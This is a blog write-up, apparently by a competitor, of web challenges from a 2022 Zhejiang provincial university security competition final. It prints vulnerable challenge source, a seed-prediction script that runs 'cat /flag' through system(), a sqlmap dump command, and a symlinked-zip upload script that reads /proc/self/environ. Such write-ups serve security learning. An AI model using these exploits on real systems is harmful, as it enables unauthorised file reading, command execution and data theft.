浙江省赛决赛Web WriteUp


2022年浙江省大学生网络与信息安全竞赛决赛web WriteUp

ezphp

题目源码

<?php
error_reporting(0);
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
    array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]); 

时间戳随机数,可以预测,本地提提前几十秒生成payload,bp发个包解决

<?php
mt_srand(time()+15);
var_dump(time());
$_GET['cmd']="cat /flag";
echo "?cmd=".urlencode($_GET['cmd']);
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
    array_push($a,"Ctfer");
}
shuffle($a);
for ($i=0;$i<=10001;$i++){
    if($a[$i]===$_GET['cmd']){
        echo "&c=".$i;
    }
    if($a[$i]==="system" ){
        echo "&b=".$i;
    }
}

babysql

ban了空格 sqlmap一把梭

sqlmap -r "1.txt" --dump  --random-agent --tamper=space2comment

zip-question

无聊!破题!(不能上网)

某知识点

https://zhuanlan.zhihu.com/p/556802060

简单总结一下

在启用 AES-256 模式生成受密码保护的 ZIP 存档时 ,如果密码太长(大于64字节),ZIP 格式会使用 PBKDF2 算法并对用户提供的密码进行 hash 处理。

举个例子

假如压缩包密码是password(长度大于64字节),那么压缩程序实际使用的密码为hashlib.sha1(password.encode()).digest()

题目描述忍不住还想骂出题人和挑这个题的人

go /backup to pack the source code(with aes encrypted), sha1sum(password) is the filename, good luck!

/backup访问后能得到一个压缩包,根据题目描述文件名是经过sha1的压缩包密码,根据上面的补充知识,那么可以写脚本解密文件

import binascii
import pyzipper

with pyzipper.AESZipFile('bf417de70d24824c18aef030f3d8903608bc51ac.zip') as zf:
    zf.extractall(pwd=binascii.unhexlify("bf417de70d24824c18aef030f3d8903608bc51ac"))

解密后main.py

import datetime
import hashlib
import os
import random

import pyzipper
from flask import Flask, Response, send_file, request

app = Flask(__name__)


@app.route('/')
def index():
    return Response(
        'go /backup to pack the source code(with aes encrypted), sha1sum(password) is the filename, good luck!',
        mimetype='text/plain')


@app.route('/hello_world', defaults={"timestamp": None})
@app.route('/hello_world/', defaults={"env": None})
@app.route('/hello_world/<timestamp>')
@app.route('/hello_world/<timestamp>/', methods=['GET'])
@app.route('/hello_world/<timestamp>/<env>', methods=['GET'])
def hello_world(timestamp=None, env=None):
    if timestamp is None or env is None:
        return Response('hello world!', mimetype='text/plain')
    if datetime.datetime.now().timestamp() - float(timestamp):
        return Response('timeout', mimetype='text/plain')
    e = str(env).split('=')
    os.environ[e[0]] = e[1]
    resp = Response(str(os.system('dash -x -c "echo hello world"')))
    os.environ[e[0]] = ''
    return resp


@app.route('/read_flag', methods=['GET', 'POST'])
def read_flag():
    if request.method == 'POST':
        f = request.files['file']
        filename = hashlib.sha1(f.filename.encode(encoding='utf-8')).hexdigest()
        rand = hashlib.sha1(random.randbytes(256)).hexdigest()
        f.save(f'uploads/{filename}')
        os.system(f'unzip -q uploads/{filename} -d uploads/{rand}-d ')
        return open(f'uploads/{rand}-d/flag').read()


@app.route('/backup')
def backup():
    secret_password = random.randbytes(256)
    filename = 'zips/' + hashlib.sha1(secret_password).hexdigest() + '.zip'
    with pyzipper.AESZipFile(filename,
                             'w',
                             compression=pyzipper.ZIP_DEFLATED,
                             encryption=pyzipper.WZ_AES) as zf:
        zf.setpassword(secret_password)
        zf.writestr('main.py', open('./main.py').read())
    resp = send_file(filename)
    return resp


if __name__ == '__main__':
    app.run(port=8000, host='0.0.0.0')

之后要么RCE,要么读文件拿flag

看一下题目函数hello_worldos.system部分是可以做到RCE的,但是无法构造一个timestamp使得datetime.datetime.now().timestamp() - float(timestamp) == False,所以hello_world走不通(不排除我很菜的可能性)

另外一个read_flag看起来就比较明朗,可以解压zip并且返回文件内容,那么用zip软链接应该是能得到结果的

import os
import requests

filename = "/proc/self/environ"
os.system("rm flag out.zip")
os.system(f"ln -s {filename} flag && zip -ry out.zip flag")
burp0_url = "http://xxxxxx/read_flag"
upload = {"file": open('out.zip', "rb")}
r = requests.request('post', burp0_url, files=upload)
print(r.text)

在软链接读/proc/self/environ

KUBERNETES_SERVICE_PORT=443KUBERNETES_PORT=tcp://10.255.128.1:443HOSTNAME=out-0HOME=/rootKUBERNETES_PORT_443_TCP_ADDR=10.255.128.1PATH=/root/.local/share/virtualenvs/ctf-bash-zip-_HaL1ahj/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_PROTO=tcpDASFLAG=notSHELL=/bin/bashKUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP=tcp://10.255.128.1:443KUBERNETES_SERVICE_HOST=10.255.128.1PWD=/var/www/ctf-bash-zipLC_CTYPE=C.UTF-8PIP_DISABLE_PIP_VERSION_CHECK=1PIP_PYTHON_PATH=/usr/bin/python3PYTHONDONTWRITEBYTECODE=1VIRTUAL_ENV=/root/.local/share/virtualenvs/ctf-bash-zip-_HaL1ahjPIPENV_ACTIVE=1

发现HOME=/root,那么当前用户是root

这里因为许多出题人水平不佳,并不会以低权限用户起docker的python,再加上这个VIRTUAL_ENV,我实在是绷不住了,不会出可以。。,会有一个非预期解,dddd

这道题flag放在/var/www/ctf-bash-zip/flag不放根目录也不说😅

ezupload

我同样需要问候一下出题人和做出这道题的人,你们的字典长什么样子,我想康康😅

题目只有一个上传文件操作,除了zip和rar结尾的文件,只返回一个no,没了😅,剩下全是猜谜了

不过这里如果上传zip文件炸弹的话是发现会卡一段时间,所以可以猜测有打开文件读文件写文件的这个操作

后来了解到,upload.php存在信息泄露

/.upload.php.swo

拿到源码

<?php
error_reporting(0);
$type = pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);
if ($type != "zip" && $type != "rar"){
    die("no");
}
$random_path = "upload/".md5(uniqid(mt_rand(), true));
$file_name = md5(uniqid(mt_rand(), true)).".zip";
mkdir($random_path);
$file_path = $random_path."/".$file_name;
move_uploaded_file($_FILES['file']['tmp_name'],$file_path);
$zip = new ZipArchive();
if (file_exists($file_path)){
    try {
        $zip->open($file_path);
        $zip->extractTo($random_path);
        $zip->close();
    }catch (Throwable  $e){
        $zip->close();
        rename($random_path,"error/".md5(time()));
    }
}
system("rm -rf error/*");
system("rm -rf upload/*");

?>

md5(time())是可预测的

后面要么用条件竞争,要么构造压缩包,让ZipArchive报错,但是自己没在php对应版本的扩展源码中看到ERROR,基本只有WARNING

题目环境没了,懒得弄了,随缘更新😅,有大佬做出来可以评论一下

Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.0.33

最后初赛和决赛都第一,舒服了


文章作者: Carrot2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Carrot2 !
评论
  目录